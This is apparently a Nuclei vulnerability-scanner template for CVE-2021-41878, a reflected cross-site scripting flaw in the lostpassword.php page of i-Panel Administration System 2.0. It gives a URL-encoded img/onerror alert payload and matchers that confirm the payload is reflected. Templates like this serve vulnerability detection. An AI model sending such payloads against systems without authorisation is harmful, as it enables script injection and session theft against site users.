id: CVE-2021-41878

info:
  name: i-Panel Administration System 2.0 - Cross-Site Scripting
  author: madrobot
  severity: medium
  description: |
    i-Panel Administration System 2.0 contains a cross-site scripting vulnerability that enables an attacker to execute arbitrary JavaScript code in the browser-based web console.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement of the affected website.
  remediation: |
    Upgrade to the latest version to mitigate this vulnerability.
  reference:
    - https://cybergroot.com/cve_submission/2021-1/XSS_i-Panel_2.0.html
    - https://github.com/nu11secur1ty/CVE-mitre/tree/main/CVE-2021-41878
    - https://nvd.nist.gov/vuln/detail/CVE-2021-41878
    - http://packetstormsecurity.com/files/164519/i-Panel-Administration-System-2.0-Cross-Site-Scripting.html
    - https://github.com/Offensive-Penetration-Security/OPSEC-Hall-of-fame
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-41878
    cwe-id: CWE-79
    epss-score: 0.00955
    epss-percentile: 0.81554
    cpe: cpe:2.3:a:hkurl:i-panel_administration_system:2.0:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: hkurl
    product: i-panel_administration_system
  tags: cve2021,cve,ipanel,xss,packetstorm,hkurl

http:
  - method: GET
    path:
      - '{{BaseURL}}/lostpassword.php/n4gap%22%3E%3Cimg%20src=a%20onerror=alert(%22document.domain%22)%3E'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '><img src=a onerror=alert("document.domain")>'
          - 'i-Panel Administration'
        condition: and

      - type: word
        part: header
        words:
          - "text/html"

      - type: status
        status:
          - 200
# digest: 490a004630440220533896dc1936845667fd2d8987e2f56488b4a052c4201968405deafec96fbe6402203854a4743d798c97104fef9e0ba67412e068232806cfc63f01066f3ad1eba1fe:922c64590222798bb761d5b6d8e72950